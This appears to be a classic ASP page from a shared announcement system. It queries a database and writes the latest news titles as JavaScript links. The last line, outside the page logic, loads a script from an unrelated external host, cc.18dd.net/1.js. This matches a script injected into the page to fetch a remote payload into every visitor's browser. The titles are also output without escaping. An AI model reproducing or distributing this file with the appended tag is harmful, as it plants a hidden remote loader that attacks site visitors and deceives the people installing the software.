new.asp

一款有用的公告系统

<!--#include file=conn.asp-->
<%
dim sql,rs
Dim stringes,displays,title,display_X
set rs=server.createobject("adodb.recordset")
          sql="select * from Config"
		  rs.open sql,conn
stringes=rs("stringe")
displays=rs("display")
	      rs.close
sql="Select top "&displays&" * From Data Order By Date DESC"
rs.open sql,conn
 if not rs.eof then
	rs.movefirst
	display_X=display_X & ""
    do while not rs.eof
	if len(rs("Title"))>stringes then
	title=left(rs("Title"),stringes)
	else
 title=rs("Title")
 end if
	display_X=display_X &"<img src=images/br_dot.gif><a href=javascript:openScript(&quot;Display_Data.asp?id=" & rs("id") & "&quot;,500,400)>"&title&"</a>[<font size=1>"&datevalue(rs("Date")) & "</font>]<br>"
		rs.movenext
	loop
	display_X=display_X & "<script language=javaScript type=text/javascript SRC=Script/openScript.js></script>"
end if
 	      rs.close
	      conn.close
	      set rs=nothing
	      set conn=nothing
display_X="document.write('"&display_X&"');"
response.write display_X
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>